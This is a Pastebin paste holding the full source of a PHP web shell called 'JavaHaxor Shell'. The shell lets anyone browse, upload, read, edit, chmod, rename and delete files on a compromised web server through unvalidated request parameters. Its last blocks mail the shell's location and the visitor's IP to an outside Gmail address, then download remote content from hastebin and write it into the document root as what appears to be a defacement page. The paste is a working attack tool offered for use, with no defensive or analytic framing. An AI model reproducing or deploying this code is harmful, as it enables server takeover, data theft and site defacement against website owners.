Advertisement
Guest User

zero

a guest
Jun 18th, 2018
181
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 9.30 KB | None | 0 0
  1. <html>
  2. <head>
  3. <title>JavaHaxor Shell</title>
  4. <style type="text/css">
  5. </style>
  6. </head>
  7. <header>
  8. <pre>
  9. <center>
  10.  
  11. JavaHaxor ="Hello Kids ... :p"
  12.  
  13. _ _ _
  14. | | | | | |
  15. | | __ ___ ____ _| |__| | __ ___ _____ _ __
  16. _ | |/ _` \ \ / / _` | __ |/ _` \ \/ / _ \| '__|
  17. | |__| | (_| |\ V / (_| | | | | (_| |> < (_) | |
  18. \____/ \__,_| \_/ \__,_|_| |_|\__,_/_/\_\___/|_|
  19.  
  20.  
  21. Private Bot JavaHaxor V5</center>
  22.  
  23. </pre>
  24. </header>
  25. </form>
  26.  
  27. <?php
  28. set_time_limit(0);
  29. error_reporting(0);
  30.  
  31. if(get_magic_quotes_gpc()){
  32. foreach($_POST as $key=>$value){
  33. $_POST[$key] = stripslashes($value);
  34. }
  35. }
  36. echo '<!DOCTYPE HTML>
  37. <HTML>
  38. <HEAD>
  39. <link href="" rel="stylesheet" type="text/css">
  40. <title>JavaHaxor</title>
  41. <style>
  42. body{
  43. font-family: "Racing Sans One", cursive;
  44. background-color: #e6e6e6;
  45. text-shadow:0px 0px 1px #757575;
  46. }
  47. #content tr:hover{
  48. background-color: #636263;
  49. text-shadow:0px 0px 10px #fff;
  50. }
  51. #content .first{
  52. background-color: silver;
  53. }
  54. #content .first:hover{
  55. background-color: silver;
  56. text-shadow:0px 0px 1px #757575;
  57. }
  58. table{
  59. border: 1px #000000 dotted;
  60. }
  61. H1{
  62. font-family: "Rye", cursive;
  63. }
  64. a{
  65. color: #000;
  66. text-decoration: none;
  67. }
  68. a:hover{
  69. color: #fff;
  70. text-shadow:0px 0px 10px #ffffff;
  71. }
  72. input,select,textarea{
  73. border: 1px #000000 solid;
  74. -moz-border-radius: 5px;
  75. -webkit-border-radius:5px;
  76. border-radius:5px;
  77. }
  78. </style>
  79. </HEAD>
  80. <BODY>
  81. <H1><center>JavaHaxor Security Team</center></H1>
  82. <table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
  83. <tr><td>Current Path : ';
  84. if(isset($_GET['path'])){
  85. $path = $_GET['path'];
  86. }else{
  87. $path = getcwd();
  88. }
  89. $path = str_replace('\\','/',$path);
  90. $paths = explode('/',$path);
  91.  
  92. foreach($paths as $id=>$pat){
  93. if($pat == '' && $id == 0){
  94. $a = true;
  95. echo '<a href="?path=/">/</a>';
  96. continue;
  97. }
  98. if($pat == '') continue;
  99. echo '<a href="?path=';
  100. for($i=0;$i<=$id;$i++){
  101. echo "$paths[$i]";
  102. if($i != $id) echo "/";
  103. }
  104. echo '">'.$pat.'</a>/';
  105. }
  106. echo '</td></tr><tr><td>';
  107. if(isset($_FILES['file'])){
  108. if(copy($_FILES['file']['tmp_name'],$path.'/'.$_FILES['file']['name'])){
  109. echo '<font color="green">File Upload Success</font><br />';
  110. }else{
  111. echo '<font color="red">File Upload Failed</font><br />';
  112. }
  113. }
  114. echo '<form enctype="multipart/form-data" method="POST">
  115. Upload File : <input type="file" name="file" />
  116. <input type="submit" value="upload" />
  117. </form>
  118. </td></tr>';
  119. if(isset($_GET['filesrc'])){
  120. echo "<tr><td>Current File : ";
  121. echo $_GET['filesrc'];
  122. echo '</tr></td></table><br />';
  123. echo('<pre>'.htmlspecialchars(file_get_contents($_GET['filesrc'])).'</pre>');
  124. }elseif(isset($_GET['option']) && $_POST['opt'] != 'delete'){
  125. echo '</table><br /><center>'.$_POST['path'].'<br /><br />';
  126. if($_POST['opt'] == 'chmod'){
  127. if(isset($_POST['perm'])){
  128. if(chmod($_POST['path'],$_POST['perm'])){
  129. echo '<font color="green">Change Permission Success</font><br />';
  130. }else{
  131. echo '<font color="red">Change Permission Failed</font><br />';
  132. }
  133. }
  134. echo '<form method="POST">
  135. Permission : <input name="perm" type="text" size="4" value="'.substr(sprintf('%o', fileperms($_POST['path'])), -4).'" />
  136. <input type="hidden" name="path" value="'.$_POST['path'].'">
  137. <input type="hidden" name="opt" value="chmod">
  138. <input type="submit" value="Execute" />
  139. </form>';
  140. }elseif($_POST['opt'] == 'rename'){
  141. if(isset($_POST['newname'])){
  142. if(rename($_POST['path'],$path.'/'.$_POST['newname'])){
  143. echo '<font color="green">Change Name Success</font><br />';
  144. }else{
  145. echo '<font color="red">Change Name Failed</font><br />';
  146. }
  147. $_POST['name'] = $_POST['newname'];
  148. }
  149. echo '<form method="POST">
  150. New Name : <input name="newname" type="text" size="20" value="'.$_POST['name'].'" />
  151. <input type="hidden" name="path" value="'.$_POST['path'].'">
  152. <input type="hidden" name="opt" value="rename">
  153. <input type="submit" value="Execute" />
  154. </form>';
  155. }elseif($_POST['opt'] == 'edit'){
  156. if(isset($_POST['src'])){
  157. $fp = fopen($_POST['path'],'w');
  158. if(fwrite($fp,$_POST['src'])){
  159. echo '<font color="green">Edit File Success</font><br />';
  160. }else{
  161. echo '<font color="red">Edit File Failed</font><br />';
  162. }
  163. fclose($fp);
  164. }
  165. echo '<form method="POST">
  166. <textarea cols=80 rows=20 name="src">'.htmlspecialchars(file_get_contents($_POST['path'])).'</textarea><br />
  167. <input type="hidden" name="path" value="'.$_POST['path'].'">
  168. <input type="hidden" name="opt" value="edit">
  169. <input type="submit" value="Execute" />
  170. </form>';
  171. }
  172. echo '</center>';
  173. }else{
  174. echo '</table><br /><center>';
  175. if(isset($_GET['option']) && $_POST['opt'] == 'delete'){
  176. if($_POST['type'] == 'dir'){
  177. if(rmdir($_POST['path'])){
  178. echo '<font color="green">Delete Dir Success</font><br />';
  179. }else{
  180. echo '<font color="red">Delete Dir Failed</font><br />';
  181. }
  182. }elseif($_POST['type'] == 'file'){
  183. if(unlink($_POST['path'])){
  184. echo '<font color="green">Delete File Success</font><br />';
  185. }else{
  186. echo '<font color="red">Delete File Failed</font><br />';
  187. }
  188. }
  189. }
  190. echo '</center>';
  191. $scandir = scandir($path);
  192. echo '<div id="content"><table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
  193. <tr class="first">
  194. <td><center>Name</center></td>
  195. <td><center>Size</center></td>
  196. <td><center>Permissions</center></td>
  197. <td><center>Options</center></td>
  198. </tr>';
  199.  
  200. foreach($scandir as $dir){
  201. if(!is_dir("$path/$dir") || $dir == '.' || $dir == '..') continue;
  202. echo "<tr>
  203. <td><a href=\"?path=$path/$dir\">$dir</a></td>
  204. <td><center>--</center></td>
  205. <td><center>";
  206. if(is_writable("$path/$dir")) echo '<font color="green">';
  207. elseif(!is_readable("$path/$dir")) echo '<font color="red">';
  208. echo perms("$path/$dir");
  209. if(is_writable("$path/$dir") || !is_readable("$path/$dir")) echo '</font>';
  210.  
  211. echo "</center></td>
  212. <td><center><form method=\"POST\" action=\"?option&path=$path\">
  213. <select name=\"opt\">
  214. <option value=\"\"></option>
  215. <option value=\"delete\">Delete</option>
  216. <option value=\"chmod\">Chmod</option>
  217. <option value=\"rename\">Rename</option>
  218. </select>
  219. <input type=\"hidden\" name=\"type\" value=\"dir\">
  220. <input type=\"hidden\" name=\"name\" value=\"$dir\">
  221. <input type=\"hidden\" name=\"path\" value=\"$path/$dir\">
  222. <input type=\"submit\" value=\">\" />
  223. </form></center></td>
  224. </tr>";
  225. }
  226. echo '<tr class="first"><td></td><td></td><td></td><td></td></tr>';
  227. foreach($scandir as $file){
  228. if(!is_file("$path/$file")) continue;
  229. $size = filesize("$path/$file")/1024;
  230. $size = round($size,3);
  231. if($size >= 1024){
  232. $size = round($size/1024,2).' MB';
  233. }else{
  234. $size = $size.' KB';
  235. }
  236.  
  237. echo "<tr>
  238. <td><a href=\"?filesrc=$path/$file&path=$path\">$file</a></td>
  239. <td><center>".$size."</center></td>
  240. <td><center>";
  241. if(is_writable("$path/$file")) echo '<font color="green">';
  242. elseif(!is_readable("$path/$file")) echo '<font color="red">';
  243. echo perms("$path/$file");
  244. if(is_writable("$path/$file") || !is_readable("$path/$file")) echo '</font>';
  245. echo "</center></td>
  246. <td><center><form method=\"POST\" action=\"?option&path=$path\">
  247. <select name=\"opt\">
  248. <option value=\"\"></option>
  249. <option value=\"delete\">Delete</option>
  250. <option value=\"chmod\">Chmod</option>
  251. <option value=\"rename\">Rename</option>
  252. <option value=\"edit\">Edit</option>
  253. </select>
  254. <input type=\"hidden\" name=\"type\" value=\"file\">
  255. <input type=\"hidden\" name=\"name\" value=\"$file\">
  256. <input type=\"hidden\" name=\"path\" value=\"$path/$file\">
  257. <input type=\"submit\" value=\">\" />
  258. </form></center></td>
  259. </tr>";
  260. }
  261. echo '</table>
  262. </div>';
  263. }
  264. echo '<br /><font color="red">JavaHaxor Security Team</font>
  265. </BODY>
  266. </HTML>';
  267. function perms($file){
  268. $perms = fileperms($file);
  269.  
  270. if (($perms & 0xC000) == 0xC000) {
  271. // Socket
  272. $info = 's';
  273. } elseif (($perms & 0xA000) == 0xA000) {
  274. // Symbolic Link
  275. $info = 'l';
  276. } elseif (($perms & 0x8000) == 0x8000) {
  277. // Regular
  278. $info = '-';
  279. } elseif (($perms & 0x6000) == 0x6000) {
  280. // Block special
  281. $info = 'b';
  282. } elseif (($perms & 0x4000) == 0x4000) {
  283. // Directory
  284. $info = 'd';
  285. } elseif (($perms & 0x2000) == 0x2000) {
  286. // Character special
  287. $info = 'c';
  288. } elseif (($perms & 0x1000) == 0x1000) {
  289. // FIFO pipe
  290. $info = 'p';
  291. } else {
  292. // Unknown
  293. $info = 'u';
  294. }
  295.  
  296. // Owner
  297. $info .= (($perms & 0x0100) ? 'r' : '-');
  298. $info .= (($perms & 0x0080) ? 'w' : '-');
  299. $info .= (($perms & 0x0040) ?
  300. (($perms & 0x0800) ? 's' : 'x' ) :
  301. (($perms & 0x0800) ? 'S' : '-'));
  302.  
  303. // Group
  304. $info .= (($perms & 0x0020) ? 'r' : '-');
  305. $info .= (($perms & 0x0010) ? 'w' : '-');
  306. $info .= (($perms & 0x0008) ?
  307. (($perms & 0x0400) ? 's' : 'x' ) :
  308. (($perms & 0x0400) ? 'S' : '-'));
  309.  
  310. // World
  311. $info .= (($perms & 0x0004) ? 'r' : '-');
  312. $info .= (($perms & 0x0002) ? 'w' : '-');
  313. $info .= (($perms & 0x0001) ?
  314. (($perms & 0x0200) ? 't' : 'x' ) :
  315. (($perms & 0x0200) ? 'T' : '-'));
  316.  
  317. return $info;
  318. }
  319. ?>
  320. <?php
  321. $ip = getenv("REMOTE_ADDR");
  322. $ra44 = rand(1, 99999);
  323. $subj98 = " Bot V5 JavaHaxor |$ra44";
  324. $email = "zarifin1337@gmail.com";
  325. $from = "From: Result";
  326. $a45 = $_SERVER['REQUEST_URI'];
  327. $b75 = $_SERVER['HTTP_HOST'];
  328. $m22 = $ip . "";
  329. $msg8873 = "$a45 $b75 $m22";
  330. mail($email, $subj98, $msg8873, $from);
  331. ?>
  332. <?php
  333. $check3=$_SERVER['DOCUMENT_ROOT'] . "/def.html" ;
  334. $text3 = http_get('https://hastebin.com/raw/poqoyonoxu');
  335. $op3=fopen($check3, 'w');
  336. fwrite($op3,$text3);
  337. fclose($op3);
  338. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement